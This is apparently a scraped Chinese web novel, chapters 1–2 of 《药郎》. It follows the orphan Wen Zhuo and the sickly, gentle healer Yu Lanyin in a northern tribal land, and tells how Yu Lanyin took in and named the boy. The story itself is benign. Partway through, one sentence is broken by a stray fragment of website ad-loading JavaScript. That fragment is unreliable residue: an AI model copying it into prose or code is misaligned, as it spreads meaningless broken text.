《药郎》 1. 草雀 云州大陆幅员辽阔,仙门百家宗派若干,文人雅士求仙问道,御剑而行,独领风骚。 云州北塞札布萨部落,名称取意圣灵之心,东靠大兴岭。由于札布萨地处偏远,仙术不盛,修行之人甚少,千百年来仍以游牧与狩猎为生。 此时札布萨一荒无人烟的雪地上正有这么一番景色。 一个孩子一手牵着马,一手提着两只兔子,深一脚浅一脚地在没过他的小腿的雪地走着。马背上坐着一个东倒西歪伤了腿的孩子。 马匹红得发亮,像雪地里行走着的火。 雪很厚,马走得不快,在这有些漫长、无聊的路上,最终是马背上的黄头发孩子率先打破了沉默:“原来你就是温卓啊。” 叫温卓的孩子闻言看了他一眼,这个孩子疼得脸色煞白,但是却在咧着牙笑,“我叫克古鲁,很高兴认识你。” 温卓的个子很高,厚毛领拉得很高挡了半张脸,他牵着马的手很稳,“嗯。” 之后的一路,温卓一直不怎么吭声,大部分时间都沉默地在前面牵着马。 克古鲁一个人在马背上叽叽喳喳,似乎完全不觉得无趣,反而很是乐在其中。 “从前的猎赛你从不参加,这还是我第一次见你嘞!” “两个眼睛一张嘴,你长得也和我们没什么两样嘛,干嘛总是不见人?” “……你是打小就住在药居吗?听说药郎来到札布萨好久好久了,还是这么年轻。札布萨人都说啊,药郎法术高深长生不老,长得特别漂亮,医术也这么高超,这可不就是天上来的神仙吗?”克古鲁话很多,像只马背上的八哥,“温卓,你家药郎真的是神仙吗?” 大概是因为提到了药郎,一路上默不作声的温卓终于是开口了:“他不会法术,也不是神仙,但是医术的确很高超。” 温卓朝前一抬下巴:“前面就到了。” 克古鲁闻言,抻着脖子朝前探头探脑,好奇得紧,“在哪儿呢?哪儿了?” 要知道,他今天能有这机会去到那神秘又偏远的“药居”,其实完全是个有点惨痛的巧合。 这还要从今日的围猎大赛说起。 围猎大赛是札布萨半大孩子孩子们的狩猎比赛,一年一度,设在每年的腊月二十七。 在今天的大赛上,克古鲁凭借着高超的马背上的技艺,在矫健翻身下马的时候崴了脚。掉下马的时候,又好死不死地踩上了不知哪位刚布好的捕兽夹,一条腿就此光荣负伤。 最后,克古鲁是被负责围猎大赛的伦纳多救起来的,被一路背回了猎赛的出发点。 一路上克古鲁羞得直用袖子挡着脸,生怕被别人瞧了去。 谁让这腿伤得太滑稽,他可真丢不起这人。 “……腿伤得也太重了,过会儿你跟着温卓回药居去吧。药郎会帮你的。” 随后伦纳多便招了招手,把人群之外的温卓叫了过来。 温卓虽然个子高,但却过于沉默寡言,人群中总显得有点不起眼。他穿过人群,走近,这才看到伦纳多怀里正躺着的克古鲁。 克古鲁长得很白,头发和眼睛颜色也很浅,伤了的腿血流得很多,湿了一整个裤脚。此时他正白着一张脸安静地躺在伦纳多怀里,只一双眼睛滴溜滴溜地往温卓身上瞟。 伦纳多正想把这受伤的孩子扶上他自己的小马,温卓拦住了他:“扶到我的马上吧。” 哪成想,听到这话的克古鲁忽然开始躁动起来,扭着拧着伦纳多险些压不住,“我要骑自己的马!放开我!” 一旁的温卓平静地看着他扭成一根大麻花愣是不上马,平静又疑惑道:“可是你骑不了马了。” 克古鲁忽然被恶意中伤一番,险些飚出泪。 伦纳多听了,觉得十分有理,五大三粗天生神力地一把把受伤的克古鲁扶到了火烧云背上,“温卓是药郎的小徒弟,你呢就听他的吧,别逞强了。” 火烧云似乎是不太习惯陌生人,颇为不耐烦地晃着头。温卓拽着马嚼子的手用了力,“火烧云,安静。” 受了伤的黄头发孩子躺在火烧云背上安静如鸡。 他单方面地有点不想活了。 而此时,在去药居的路上,克古鲁早已没了方才还要死要活的模样,正怡然自得地歪在火烧云背上,一边从怀里摸着冬枣吃,一边眯着眼睛寻着药居。 还边找边感叹道,“温卓你的小马真不错,走得稳,脾气还好。” 温卓回头看了他一眼。 又向前走了不远,终于能看到路的尽头有一座青砖木门中原样式的院落房屋,它与这北塞格格不入至极,十分显眼。 走近,这风格迥异的院落便能瞧得更清楚了。院子大门上着黑漆,其上有金色兽衔圆环铺首。 门没落锁,温卓伸手一推就领着一人一马进了院子。 估计是由于北塞太过寒冷,院子里倒是没有池塘亭台,也没有各式花草奇木,只种着几棵常绿的松树。院子西面是厢房,东面是厨房和马厩。 “温卓你们家可真稀罕,”克古鲁四处看着,眼神里是掩饰不住的好奇,“这里好宽敞,平时住着会不会冷?” 温卓道:“不会太冷,屋里有暖炉,平日也有加御寒的法术。” 虽然整个大陆仙门玄术为上,但札布萨部落的人们仍旧保留着北蛮荒原之时的旧习俗,崇尚着原始的自然之力及狩猎之武术。 至于法术,他们不热衷,就算是修习也不过是修习些帮助日常起居的小法术而已。 克古鲁疑惑地发问,“是药郎落的法阵吗?可是你不说药郎是不会法术的?” 温卓没吭声。 他熟练地把野兔埋在了院子的雪地里,随后又把火烧云牵回了马厩,在食槽里加了两把秋天的时候割好晾干的牧草,水槽里加了干净的水,这才把克古鲁从马背上扶下来。 随后温卓熟捻地在手上掐了个诀,给马厩加了个保温结界。 “你……你,”克古鲁看到温卓这一连串手到擒来的连招后大惊,“你居然会这么高深的法术!” 温卓有些疑惑地看向他,“保温结界不是高深的法术。” “……” 克古鲁伤了一条腿都没掉一滴眼泪,此刻却险些再次泪流满面。 修行这事其实九分天注定,一分靠打拼。 克古鲁和当地的孩子们不太一样,他打小便比起骑射更偏爱练习修行。可是他认认真真在私塾学法术三四年,如今连个最基础的化气为实都没学会。 此刻看见自学法术的温卓之得心应手,克古鲁此刻说不上是敬佩多一些还是伤感多一些。 克古鲁痛定思痛,“……我能拜你为师吗,温卓?” 温卓正扶着他往正房门口走去,闻言低头看了一眼克古鲁的腿,认真问:“你现在感觉怎么样,是不是发晕了?” “师父,您说什么呢师父?” 正当他正欲涕泗横流地继续表达自己的赤诚之心之时,温卓忽然小声打断了他:“一会儿进去之后动静要小,不要跑闹。” 克古鲁愣了愣,“啊?” “他身体不太好。”温卓轻声道。 他?药郎吗?药郎的身体不好? 克古鲁心里有些纳罕,但是到了门前也顾不上说别的了,只连忙“嗯嗯嗯”点头如捣米。 得到克古鲁的回应,温卓这才轻轻推开了药居正房的门。 门一开,克古鲁立刻就感觉到了一股裹挟着浓郁药香和檀木香的热风拂到了他的脸上。 正房一进门是一个很古典的药房,檀木制的药架很高,各类药材抽屉分门别类得标着标签。 但药房只是前厅,药架后才是正厅堂。 推开药架后面的红木门便可见一折着半扇的荷花屏风,再往里的装潢不出所料也是中原文人的样式:屏风画扇,瓷器铜灯,松木方桌上的花瓶里插着几枝红色的腊梅,桌角点着熏香,讲究得很。 屋内有一座落地枯树很是吸睛,就蹲坐在壁炉旁,枯树只保留了几杆粗壮的枯枝,枝杈上停着一匹海东青和一匹金雕。 札布萨其实并没有驯鹰的习俗,这种古老的猛禽并不常见。克古鲁不由得多打量了一番。 枯树上栖息着的这只海东青体量不小,一双玉爪,纯白底色背负褐斑。它身旁的金雕似乎还在幼年期,成年后遮天蔽日之势的大鹏此时居然要比这海东青还小一圈。 它们被喂养得极好,通体圆润毛色亮滑,干净无比。此刻这两只凶猛的野兽正浅阖着眸子在枝杈上打着盹。 冬天的天短,虽然时间还算早,但天色却已经开始暗起来。屋内暂时还没有点灯,厅堂里唯一的光源便是靠里位置上的一扇壁炉。 壁炉劈里啪啦溅着火星子,一旁的小壶里咕嘟嘟煮着茶,克古鲁一走近就能闻到绿茶香。 和外面呼啸的风雪大相径庭,这屋子里温暖得仿佛像是被隔绝的冬日里的仙境。 不过克古鲁的注意力很快就被屋内的人吸引过去了。 那是一位安静的、和这件房屋一样温暖的长发男子。 壁炉附近的地板上铺着一条虎皮地毯,这人就在其上的弯脚摇椅里安静地憩着。 札布萨的男子为了方便狩猎,大多时候都是把头发编成辫子,长久便成了习惯,哪怕是在家也鲜少把辫子拆开来。 可面前的这位男子此刻正大散着头发。 他一半侧脸朝着进屋的温卓和克古鲁,一半脸在壁炉火光中,此时正盖着鹿皮毯躺在摇椅里看书。他鼻梁高挺,却弯眉黛目,是一种完全不同于札布萨部落人的柔和,面若好女,俊美异常。 这人便是札布萨人嘴里的“神仙”——药郎。 听到了他们进屋的声音,药郎在摇椅里施施然抬起脸。 他这一抬头,便能看出这人的一脸病相。哪怕是在橘红色的火光中也不难看出他的面色稍显疲惫,大抵是苍白的,他扑簌的睫毛落下一片阴翳,将那光华的眸子遮挡了一半去,唇色颇为寡淡。 这人在火光里温和地笑道:“回来了。” “嗯,”温卓皱着眉应了句,“怎么看书不点灯?眼睛有没有不舒服?” 温卓虽然板着个脸,可话里却全然不是责备的意思。 “看书太久便忘记了,”药郎笑着收起了书,随后把目光转到了克古鲁身上,“这位小先生是?” 被药郎看着叫“小先生”的克古鲁原本煞白的脸一下子红了。 苍天。 要知道他从小到大还从来没见过这么漂亮的人,更别说这么漂亮的人此刻正在朝着他笑。 克古鲁有点晕晕乎乎的看着药郎的脸,几乎要看呆了。 “他下午伤了腿,”温卓看了一眼克古鲁,忽然皱了下眉,伸手扶住了克古鲁,“他要晕过去了。” 药郎不疾不徐眯了眯眼瞧过来,“血流得太多了,不打紧。扶他去软榻上躺下,我看看他的伤。” 克古鲁失血过多有点耳鸣,一时听不太清两人在说什么。 随后药郎掀开鹿皮毯朝克古鲁走来。 药郎身量很单薄,穿得也很单薄,只一件薄绒的广袖长衫,一掀开毯子便受了凉轻轻咳了两声。 温卓一直皱着的眉头此刻皱得更紧了。 一旁失血到快不省人事的克古鲁就这么直愣愣地看着药郎朝他走着,越来越近,越来越近…… 温卓眼疾手快,很快地就把已经强撑了一路,现在晕倒不省人事的克古鲁安置到了一旁的软榻上。 随后他又脚步很急地又去摇椅上把鹿皮毯子拿过来披到了药郎的身上,“别总摘毯子,现在是冬天。” 药郎从善如流搂过毯子,笑着应下。 克古鲁能闻到药郎身上的很淡却发苦的中药香,却闻着莫名其妙安心,他掉了魂一般讷讷道:“我是要死了么……怎么看到神仙了……” 药郎好笑地看向说起胡话的克古鲁,笑道:“在这里没有人会死的。睡一会儿吧。” 温卓此刻正一盏一盏挨个地把屋里的灯全都点亮。 等到克古鲁迷迷糊糊重新恢复了意识的时候已经是大半个时辰之后了。 苏醒的他看着头顶上的木制雕花房顶一时有点懵。 他这是在哪?这看着可不像自家的屋顶。 呆愣地转头,另一边的壁炉旁有一个长头发的男子正窝在摇椅里小憩,很安静,不难看出有些病气。 这人几乎在克古鲁看向他的一瞬间便睁开了眼睛,但是温温和和笑起来,“你醒了。” 哦对,他伤了腿,来找药郎看病了。这就是那位神秘的药郎。 药郎…… 他呆呆地看向药郎。 药郎可真好看啊。 哪知药郎忽然歪了歪头,“嗯?” 这时克古鲁才真正地回了神,忽然发现自己驴得居然把心里话给顺口秃噜出来了。 他顿时闹了个大红脸,尴尬嗫嚅道:“不好意思……我,我实在是有点发晕才……” 克古鲁哼哧半天说不下去了,闭了嘴。 药郎也不催,天生一副好脾气善解人意的样子,温温和和在一旁笑着看他。 克古鲁后知后觉发现他又看得有点呆住了连忙晃了晃头清醒过来,“那个……我,我叫克古鲁,住在札布萨南边……十分感谢您帮我治病,我,我一定会报答药郎先生你的。” 药郎听耐心听他磕巴完,笑道:“你随着一一叫我名字就好,不用讲究这些。我叫玉阑音。” 一一? 哦,说的应该是温卓吧,大概是他的小名。 “不了不了,”虽然玉阑音这么说,但克古鲁可不敢真直呼神仙名讳,连忙摇头,“我还是叫药郎先生更顺口。” 玉阑音原本也只是随口一提,没再劝,“都好,随你。” 克古鲁四下看看,发现厅堂里没有温卓的身影便问道:“温卓呢?怎么没见到他?” “他在厨房,”玉阑音道,“今晚你就在这里住下吧,腿伤未愈来去也不方便,明早再叫一一送你回去。” 克古鲁虽然十分不好意思和神仙共处一室,但内心又隐隐有些别扭的期待,推脱两下便答应下了。 可别提心里多美了。 他摸了摸腿上的绷带,也不知道是不是心理作用,他觉得疼痛好像减轻了很多,不刻意去想甚至要忘记自己受过伤了。 真是神奇,药郎的医术还真是高啊。 这时温卓端着煮好的饭进了屋。 晚饭很丰盛,一小碗鹿肉汤,一小锅牛肉土豆,还烤了一小盘兔肉,上面撒着盐巴,油滋滋的,冒着香气。 温卓把鹿肉汤推到了玉阑音面前。 “药郎先生,你那是鹿肉汤吗?”克古鲁直勾勾地盯着玉阑音眼前那一小碗撒着葱花的鹿肉汤。 “鹿肉是发物,你不能吃,”玉阑音笑道,“牛肉也要少吃些,不可贪嘴。” 玉阑音不好吃兔肉,所以桌 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 上的这盘烤兔其实是温卓专门为忌口的克古鲁做的。 不过克古鲁自然是不知道他的这份用心,甚至是由于不能吃鹿和牛羊,吃烤兔的神情很是恹恹。 倒不是说温卓多么缺这一份回应,但是或许是今天天色已晚,此时的他忽然难以为继似的,撑了很久的壳子终于被最后一根稻草压出了裂痕。 这同样还要说从今日的围猎大赛说起。 那时猎赛还没开始,带着鹿皮毛毡帽的壮实的伦纳多,左手里拿着个牛角号子,正笑盈盈地看着猎场上这群正牵着自己的小马的十来岁的孩子。他们跃跃欲试,浑身使不完的劲儿,仿佛未来与整个天地都是他们的。 伦纳多看着这群孩子颇为感慨,想当年他嗓门亮武术高,也曾打马驰骋天下。 时光飞逝啊,伦纳多想。 他一边想一边将怀里挂着的酒囊解下,扔给了为首的第一个孩子,“上马前来口酒吧,孩子们,就像大人一样。” 温卓站在队尾,最后一个拿到了酒壶。他看了一眼目光中饱含慈祥的期待的伦纳多,犹豫了好半晌。 最后他避开大家的目光不着痕迹地擦了擦壶嘴,悬空往嘴里倒了一口辣酒。 伦纳多一介大老粗自然是没发现温卓的这些小动作,他慈爱地看着队尾的温卓也上了马,忽然一改先前的一脸笑呵呵。 札布萨的人们信奉自然之力,在狩猎之前祷告的风俗,传承千年至今。 此时的伦纳多的背打得比钢板还直,他将右手举至胸前,虔诚垂首:“愿狩猎神乌勒尔佑护我等子民。” 孩子们齐齐效仿:“愿狩猎神乌勒尔佑护我等子民。” “老规矩,狩猎比赛中不准使用法术。”伦纳多再次提醒了句,随即便吹响了手里的牛角号,声音很低很闷,温卓觉得自己的胸腔也在震。 “狩猎大赛——开始!” 得令,所有的孩子都拍马而行,队尾地温卓压低身子伏到他的枣红色小马背上,像箭一般夺弦而出。 直到他看到了一匹鹿。 温卓轻手轻脚下马,把背上的弓取下来上了一支长尾箭。 被拴在树上的小马轻轻地打了个响鼻。 这张弓几乎有他大半个身量那么高,估计有大几十斤重,弓身是金属雕花,工艺很是浮夸。也不知道雕弓的人是多么想一秀风采,看着活像是把世间所有好的坏的、男的女的、老的少的神神鬼鬼都刻了上去,摸着直喇手。 可这成年人都未必能轻松拉开的弓,温卓却似乎拉得毫不费力,而且是十分游刃有余。 他眯起一只眼把弓稳稳地拉满,直到弓弦抵到唇上。 “咻”的一声,长尾箭以奇快的速度离弦,射中了百米开外的矮木丛后的一只鹿。这只被正中胸膛的可怜的鹿倒地挣扎数下便一命呜呼。 温卓把自己手上笨重的弓重新背回身后,然后把这只比他还要大一圈的鹿单手拎回来扔到了马背上。 冬天的猎物确实十分有限,若是真的猎到了鹿,那必然是要拿下冠军了。 可是温卓既没有拿冠军,回家的马背上也没有鹿的影子。 因为他把鹿送人了。 “温卓!”猎赛场上,山桂远远地喊。 跑近后,他拉下毛皮围脖,露出他那张冻得通红又总是乐呵呵的脸,胖乎乎的,挺憨厚老实。 山桂没有娘,经常来药居替他有咳症的父亲拿药,温卓认得他。 两个人的马并肩着哒哒地踏着小步子。 山桂忽然看着温卓马背上的鹿,惊诧道:“温卓你猎到鹿啦!” 温卓看了一眼鹿,又看看山桂。 山桂有些艳羡,“你可真厉害啊!头一回参加围猎大赛就要拿冠军了!我要是也这么厉害就好啦。” “我爹身体这几年越来越差,虽然他没说过,但我总想着能有点什么事让他骄傲一回,我总担心……总担心以后没机会了。可我打猎也学得不好,修行也总是跟不上趟。” 说到这里山桂的声音越来越小,随后忽然想到了什么似的,更加不好意思地笑了笑,“温卓你会不会嫌我话多啊。” 温卓没吭声。 两只小马继续并排着哒哒走着。 突然,他左边一直像个木头一样的温卓动了,但他动作很快,以至于动作慢半拍的山桂压根没看清。 山桂只看见有个什么重物被扔到了自己背后,然后自己这只清瘦的小马险些被这屁股上的重物掀翻在地。 山桂勒着缰绳往后看去,是那头已经被冻硬了的鹿。 他不解地看向温卓,“温卓?” 温卓垂着眼睛拉上了自己的围脖和面罩,透过面罩的声音有点发闷,“嗯。” 山桂歪了歪头,“温卓,你知道我不是这个意思,这只鹿是你猎的,你……” 温卓似乎压根没有听山桂说话,甚至在山桂刚正不阿的话声里轻轻拍了拍马背,“火烧云,走了。” 火烧云得令,一瞬间便扬起蹄子冲了出去。 山桂在后面急得大叫:“温卓!我不是这个意思!你的鹿!” 望着已经跑没影儿的温卓,山桂扛着这么个大家伙动作又笨又沉。 他匆匆地双腿一夹马腹,“追!” 可是火烧云怎么能是普通的小马追得上的呢?山桂在后面追得屁滚尿流,硬是连火烧云的屁股都没摸着。 冬鹿擅藏匿,能见到就已经是行大运,更别说要狩猎成功了。 于是最终,山桂凭借一只鹿和一只野兔不出所料的成为了围猎大赛的冠军。 此时,药居内。 温卓正低着头默默喝着汤。 对面的克古鲁吃饭吃得正香。 玉阑音一直留意着温卓,自然没错过温卓面上一闪而过的低落。 他手上切着鹿肉的动作不停,问道:“今天的猎赛怎么样?” 温卓低着头不回话。 克古鲁见温卓沉默,便接过了话:“哦对,猎赛!山桂拿了冠军,他猎到了一只鹿!药郎先生你知道山桂吗?” 玉阑音几乎没怎么费心思索:“嗯,是那个胖乎乎的孩子,总是来替他父亲拿药,我认得他。” “是呀是呀,他拿了冠军!统共是一只鹿一只野兔,真是不可思议,冬天的鹿可是尤其少,又难打,”克古鲁意犹未尽地回忆道,“连温卓也只打到了两只野兔呢。” 玉阑音看了温卓一眼。 “只两只野兔吗?” 克古鲁闻言诚实道:“嗯,不过也很厉害了,多的是人两手空空回来。” 玉阑音若有所思地点点头。 “药居这些肉食呢?”克古鲁看了看餐桌上,“也都是温卓猎来的吗?” 玉阑音笑着点头:“对,我不懂这些,但是他打猎很厉害。” 温卓一直没搭话,坐在玉阑音身边老老实实修闭口禅。 玉阑音偏偏头温和地问他。 “兔子在前院埋好了?” 温卓听到玉阑音的问话,当即便解了闭口禅答道:“埋好了。” 玉阑音看着温卓的发顶良久。 好一会儿,他在桌子底下的左手手腕一翻,不知从哪变了只草编的小麻雀出来,手一动,把它塞进了温卓的左手心。 正在吃饭的温卓被惊了一下,下意识一握手,正把这只草麻雀抓在了手里。他愣愣地摩挲一阵,偏头看向他身侧的玉阑音。 这人笑着朝他眨了眨眼。 2. 岁河 温卓小古板似的,很多时候做的事情也不是为了求一句赞扬,但在这一刻哪怕是他也不得不承认,若真的有人看到了,且不吝对他说一句“做得好”,那的确是一种极其奇妙的、持久的、不足为外人道也的欣喜若狂,将他刚刚那无端的委屈一扫而光。 温卓小心翼翼地把草麻雀揣进了怀里。 玉阑音吃饭很斯文,拿筷端碗的姿势似乎都和别人不一样,吃得又细又慢。温卓药居生活得久,餐桌上同样是细嚼慢咽很精细。 于是当克古鲁低着头狼吞虎咽、叮当作响地吃完抬起头时,对面这一大一小面前的碗都还是满的。 他头一回觉得自己吃饭像个野人。 提前结束的他规规矩矩地坐在一边看着这俩人,忽然道:“诶对了,温卓,我跟你学法术行不行?你法术使得好厉害。” 虽然药郎一家像是喝露水的神仙,但餐桌上却出乎意料地没什么“食不言”的规矩。 温卓迟疑道:“我也是照着书籍自己练的,可能教不了你什么。” “那你平时都是看些什么书籍?”克古鲁眼睛亮亮的。 “是书房里的一些散页的羊皮卷,也没名字,”温卓道,“都是前几年阑音找给我的。” “哦!原来是药郎先生的书!”克古鲁期待地看转向玉阑音,“我在私塾法术课学得太差了,平时我可以来找温卓一起看看那些书卷吗,药郎先生?” 温卓也看向玉阑音。 那些书籍毕竟是玉阑音的,他本人倒是没什么意见,但是总得玉阑音亲口允许了才是。 玉阑音一直在一旁拿着陶瓷调羹喝汤,仿佛置身事外置若未闻,直到话里提到了他,玉阑音才终于抬了眼,笑道:“那也不是什么宝贝东西,你随时来就是。” 他抬眼说话都慢慢的,加上他一身病气,一向神色都很浅淡,即便是说着话还是笑起来都显得有点心不在焉,已经很难分辨他到底是好整以暇还是单纯因为太过疲惫,看起来要比几个时辰之前的状态糟糕得多。 克古鲁先前打着马虎听听也就过去了,直到这一刻他才头一回在心里认认真真滚过一边:哦,药郎先生的确是身体不好。 玉阑音身上总有一副重病之人才会流露出的兴致缺缺,尽管他似乎有意地规避这种倦怠,可这种心不在焉藏是藏不住的。 克古鲁不由得多看了玉阑音两眼。 “我看过你,你的骨骼小而轻,不适合武术和体术,”玉阑音矜贵地放下手中的调羹,“不过你脉象稳重,灵基沉满,修行天赋能属中上乘,若加以教导和勤勉,当会有所作为。” 原本心事重重的克古鲁,听了这句话立刻把那忧虑抛到脑后,两耳不闻窗外事直接平步天堂,他不由飘飘然嗫嚅:“啊?真的吗……” 玉阑音轻笑了一声,“骗你作甚?” “那温卓呢?”克古鲁好奇道,“他的天赋是不是特别好?” “他吗?的确,他的天赋是这么多年我见过最好的,不然我也不会把《大成捷要》散卷由着他自己去学,”玉阑音看眼温卓,轻笑一下,“你若平时有不懂的地方,可以随时来问他,他会的很多。” 温卓偷偷竖着耳朵听完,故作矜持地端起碗喝了口牛肉汤,心里莫名有点雀跃。 药居平时没有外人,玉阑音从来没有机会谈论起他。 那羊皮卷玉阑音给他之时也只是说了句“如果你有意修行,平日闲暇之时可以一读”,之后便没再过问。温卓其实对修行算不上感兴趣,若不是他打心里珍贵玉阑音给他的东西于是常常翻阅,凭借玉阑音“任他去”的教导他可能一辈子要和修行无缘了。 这回还是他第一次听到玉阑音的赞扬,而且夸奖之直白简直让他有点羞惭。 玉阑音看着端碗喝汤此地无银三百两的温卓,笑着摇了摇头。 这一个两个的小孩。 吃过饭,玉阑音继续在摇椅里看书,温卓到书房临字帖。克古鲁不敢单独和玉阑音一屋,自然是屁颠颠地跟着温卓也去了。 此时克古鲁正趴在桌子上看温卓写字。 “温卓,你这字帖的字真好看啊。” 温卓写字的架势和他的马术一样,漂亮又舒展,小小年纪已经十分煞有介事。 温卓闻言依旧专心低着头临字帖,不曾抬头,“嗯,阑音写给我的。” “哇,药郎先生好厉害,怎么什么都会,”克古鲁听了更艳羡了,“你和药郎先生是怎么认识的呀?” 温卓顿了笔。 或许是因为提到了玉阑音,温卓整个人忽然就笼上了一层朦胧的温和,与他平时的颇为冷硬的沉默寡言大相径庭。 温卓没有爹娘,是被札布萨的一个男人捡回家的。这个男人叫作阿纳,是个双腿残疾的鳏夫。 阿纳告诉温卓,捡到温卓的那天是秋天,虚宿和危宿的星星在那天晚上格外的亮,虚宿寓意天节,危宿主战乱,恐怕温卓生来便是个灾祸。 传说阴鬼之名不可随意称唤,阿纳信这些,又打心里觉着温卓便是天劫祸鬼,所以到死不敢给给温卓取名字,生怕取了名字便是犯了鬼神玄说。但阿纳虽然总是念叨,实际上却也没把温卓丢掉,虽然生活算不上富余,但也没让温卓缺吃少穿。 或许是因为阿纳的身体底子虚,四五年光景就憔悴了,最后一年更是卧床不起,吃喝都得靠不太到六岁的温卓照顾。 最后那年是这残疾的鳏夫咒骂声最多的一年。 但来来去去翻来覆去也就是咒骂温卓的话语,温卓的今生和来世都被他骂了个遍,似乎他的双腿的残疾、他的瘫痪在床都是温卓这祸鬼暗中的手笔。直到最后他不再有力气能说得出很多话,便总是拿一双厌恨的、包含着诅咒的眼睛盯着进进出出在家里忙上忙下的温卓。 温卓充耳不闻,总不太回应阿纳。 只一次,在阿纳说而善良的自己将转世神佛,而温卓作恶多端下辈子会沦为人人喊打的畜生的时候,温卓道:“没有来世的,阿纳。” 温卓头回听说药郎是在镇上买菜的集上,听一个阿娘说部落东边有个药郎,他医术高超,而且从不收人银两。 他回来后把听说的这事和阿纳讲,希望阿纳能抓些药身上宽松宽松。 但听了这话的阿纳突然暴怒,他破口大骂:“什么药郎?部落里大家恭维几句真以为自己是个好货色?我可万贵不吃他的药!一个不务正业的小白脸、老不死的妖精,谁知道他的药里都是些什么脏东西……” 这一天,温卓头一回觉得怨天尤人的阿纳有点可怜。 阿纳死得那天也是秋天。 温卓照例在清晨去他床前喂他吃早饭,发现阿纳总是怒火盈眶的眼睛已经变成了灰色。他死在了昨天夜里。 不过阿纳的死对温卓并没有什么影响,温卓没觉得难过。 生活也没有什么变化,他依旧是一个人吃饭、一个人睡觉、一个人劈柴,天气好就磨一磨生锈的铁弓去森林里打只兔子炖锅肉汤。 直到这个秋天已经是深秋,早晚的风已经开始发寒。 可岁月的长河之上总是写满相遇的清风,正是在这个有寒风的深秋的一个下午。 这天下午温卓正在家门前劈柴。那斧头是阿纳之前用的,温卓用着很吃力,但他太穷了,换不起新斧子。 就在这时,家门前的那条总是荒无人迹的小径上,一个穿着单薄长衫男子脚步轻盈地经过。他走路的动静不大,但却有一种难以言表的强烈的存在感。 于是温卓看向他。 不看不打紧,一眼看过去便是再难移开目光。 都不必说男子,这人比他见过的任何一个姐姐和娘娘长得都好看。札布萨人常年风吹日晒,没几个人能像他这般皮肤白,再加之细眉弯目的慈悲相,远远看像是走来了个下凡的神仙。 他散着发,穿一件霜色广袖单衣,那是温卓从来没见过的样式,手上提着一个草编的篮子,里头是些山上的野果。 温卓一时看得呆住了。 由于温卓盯得太久,那人自然也注意到了这个提着斧头的小孩子。 温卓直勾勾地看着,直到那人走近,他这才发现这人从里到外都透出一种不健康的消瘦。他在单层长袍中显得有些空荡,温卓甚至能看到他略显苍白的唇色,薄得像纸一样的皮肤,和皮肤下青色的血管。 他半蹲下来笑着问温卓:“怎么一个人在这里?家中的大人呢?” 温卓闻到他衣袖挥动的风带起的苦涩的草药味。 “死了。” 他听到自己这么说。 这人愣了下,“你一个人住在这儿?” “嗯。” 那人停顿了一会儿才笑道:“我也一个人住。” 温卓没应声。 直到很久之后他听到那温和的声音再次响起:“那若你跟我走,今后也只跟着我,你可愿意?” 温卓也说不清自己是为什么很快就回答了“好”,但如今的温卓每每回忆至此,都无比庆幸自己当时不明所以的冲动。 这人听后只轻笑着弯下腰把背朝向温卓,温和道:“上来吧。” 温卓固执地站着不动,那人也不催,就背对着他蹲着等着。 “当啷”一声,温卓手里那柄不称手的斧头被他手一松,扔到了地上。 他爬上这人的脊背,听到这人似乎是笑了一下。 他的体格稍显单薄,却是温卓见过的最宽广的脊背,托着他的手也是他从未感受过的、出乎意料的温暖。 “我就住在药居,离这里不远,可以经常回来看看,如果你想的话,”温卓趴在他的背上,听着这人轻声说,温和得如耳语,“还没有问你叫什么名字呢。” 他说长句时的尾音带着些不易察觉的含混,这是一种不属于札布萨、或者是整个北境的中原南方口音。 “我没有名字。” 听了这话的男人好一时没回话,过了许久才带着温和的歉意道:“抱歉。” “没关系。”温卓听到自己干巴巴地回答。 “念人的名字神灵也听得到,你心里念着这人的好,名字念得多了祝福就会成真,”这人稍偏了偏头,笑道:“我给你取个名字好不好?” 温卓盯着他的侧脸好半晌,“真的吗?” 那人轻笑一声,“当然是真的,我可从来不骗人。” 其实温卓根本不在乎真的还是假的。过去的那些年从来没有人对他这般轻和,他只是想听这人和他多说说话。 或许是因为中药香熏得他整个人有些头重脚轻,温卓忽然没由头地问道:“那你是那药郎么?” 这话怎么听都有些冒犯,刚脱口而出温卓便后悔了。 不过这人似乎并不在意,“对,是我。你听说过我吗?” 温卓趴在他的背上“嗯”了声。 随后他又哄孩子似的拖着声音笑着问:“那是听来了好话还是坏话?” 他的声音本来就软,故意这么哄人的时候便是更甚,像一阵小风柔柔地直往人心上吹。 温卓摸了摸耳朵道:“是好话。” 这人似乎顿了顿,重复了一遍,“哦,好话。” 温卓一点也不打算告诉他阿纳口中肮脏的咒骂。 另外就是他心里实在是有点焦躁。他惦念着这人说的“取名字”一事,好一会儿没有下文,他便开始怕这人只是一时兴起说来闹他的。他脸皮又薄,横竖不知道怎么开口,在这人背上别别扭扭得像只泥鳅。 不过好在这人也没让他抓耳挠腮太久。 “你莫不是怕我忘记替你取字?”这人笑道。 的确是不抓耳挠腮了,温卓有点恼羞成怒。 “真不经逗,我记着呢。那以后……就叫你温卓吧,温和克己,卓资风流,能算得上是好寓意。”他嗓音带着明显的笑意,“我叫玉阑音,你随意唤我便是,别太拘束。” 好寓意。 温卓抿了抿嘴。 也就是这一句“好寓意”,即便今后这名字越叫越奇怪,直到最后莫名其妙演化为极度不严肃的“一一”,温卓对此都没有说过任何一句不是。 玉阑音散在背上的头发被他压得有点乱,温卓轻轻拽出被压着的几缕头发,没头没尾想道:那我得帮他束一辈子发。 温卓觉得玉阑音不束发大概是因为不喜欢札布萨的辫子,所以专门学了中原人高高竖起的带冠束发的样式,练了好些日子才敢往玉阑音头发上使。 从那天起,他每日都早起帮玉阑音绑发,把玉阑音收拾得整整齐齐一丝不苟,相当漂亮颇为英姿飒爽。 当事人玉阑音也从不提意见,总笑着看,温卓绑成什么样他就由着什么样,就这么任由温卓折腾了好些年。 直到很多年后温卓才知道玉阑音经年散发是因为他频繁的头痛。 温卓说到这里停顿了很久,好一会儿才继续开口往下讲。 玉阑音这人和他给人的第一印象相差无二,的确就是一个金贵的瓷娃娃,手不能提肩不能扛四体不勤五谷不分。 自打某日玉阑音自告奋勇帮温卓烧火,结果三下两除二点着了自己的衣服给胳膊上烫出一大片水泡之后,温卓就再也不让他碰任何家务事了,大大小小事情都是亲力亲为。 温卓经常在想,在他没来的那些年里,玉阑音究竟是怎样平平安安安稳地活到现在真是一个天大的谜团。 可即便这样,他仍旧认为他对玉阑音的回报仍不及玉阑音为他做的万分之一。 玉阑音似乎天性就会疼爱人。 